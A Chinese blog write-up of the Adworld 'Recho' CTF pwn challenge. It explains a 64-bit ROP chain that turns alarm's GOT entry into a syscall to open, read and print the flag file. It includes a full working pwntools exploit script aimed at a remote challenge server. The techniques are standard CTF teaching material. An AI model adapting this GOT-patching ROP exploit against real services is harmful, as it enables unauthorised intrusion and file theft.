记录一次64位构造读取flagROP链、远程关闭控制写入

原程序攻防世界Recho(这题本地测不出来,只能远程)根据大佬wp的情况下完成的

整个程序是个死循环需要用到pwntools的p.shutdown(‘write’) #关闭控制台写入循环,然后这题没有后门函数,因为关闭了shutdown(‘write’)控制台输入后(远程)就输入不了了,只能等程序重新运行,因为程序压根就执行不到return指令,经过shutdown后也就是说return指令只会被执行一次,所以就只能一次性获取sh、或者cat flag

这题通过ROPgadget的强大之处,因为程序里面已经提供了read、printf、alarm(偏移后就是syscall函数)差一个open、而open函数恰好又可以被syscall函数加特定条件调用,要构造的函数原型

#include <stdio.h>
int main(){
 char buf[100];
 int fd = open("flag","a+");
 read(fd,buf,100);
 printf(buf);
}

最终payload

from pwn import *
from LibcSearcher import *
#context (log_level = 'debug' ,bits= 64,os = 'linux' ,arch = 'amd64' ,terminal = ['gnome-terminal' , '-x','sh', '-c'])
context (log_level = 'debug' ,bits= 64,os = 'linux' ,arch = 'amd64' ,terminal = ['tmux' , 'splitw', '-h'])


local = 0
binary_name = "Recho"
ip = "111.200.241.244"
port = 60617

if local:
        p = process(["./" + binary_name])
        e = ELF("./" + binary_name)
        # libc = e.libc
else:
        p = remote(ip, port)
        e = ELF("./" + binary_name)
        # libc = ELF("libc-2.23.so")


def z(a=''):
        if local:
                gdb.attach(p, a)
                if a == '':
                        raw_input()
        else:
                pass

ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)

buf = 0x601088 #这是一个bss段变量
prdi = 0x00000000004008a3
alarm_got = e.got['alarm']
prax = 0x00000000004006fc
add_rdi = 0x000000000040070d #通过ROPgadget --binary Recho | grep 'rdi'搜索到
flag_addr = 0x0000000000601058
prsi_pr15 = 0x00000000004008a1
alarm_plt = e.plt['alarm']
prdx = 0x00000000004006fe
read_plt = e.plt['read']
print_plt = e.plt['printf']


#构造open函数 格式 : open("flag",READONLY)
#调用syscall函数
payload = p64(prdi) + p64(alarm_got) # 将alarm真实地址放入rdi
payload += p64(prax) + p64(0x5) # rax = 0x5
payload += p64(add_rdi) #rdi += rax alarm地址加上0x5 使它指向syscall
#构造参数一: flag
payload += p64(prdi) + p64(flag_addr)
#构造参数二:READONLY
payload += p64(prsi_pr15) + p64(0) + p64(0)
#设置通过syscall函数加rax=2的条件触发调用open函数
payload += p64(prax) +p64(0x2) #这里不一定为2具体看libc开发的信号
payload += p64(alarm_plt) #进行调用函数 ,在前面plt表对应的got表地址已经被修改为syscall

#read(fd,buf,100);
payload += p64(prdi) + p64(0x3)
payload += p64(prsi_pr15) + p64(buf) + p64(0)
payload += p64(prdx) + p64(100)
payload += p64(read_plt)#程序有提供

# printf(buf);
payload += p64(prdi) + p64(buf)
payload += p64(print_plt)

sla('\n',str(0xff))
sl(b'a'* 0x30 + b'b' * 8 + payload)
p.shutdown('write')  #关闭控制台写入循环

p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值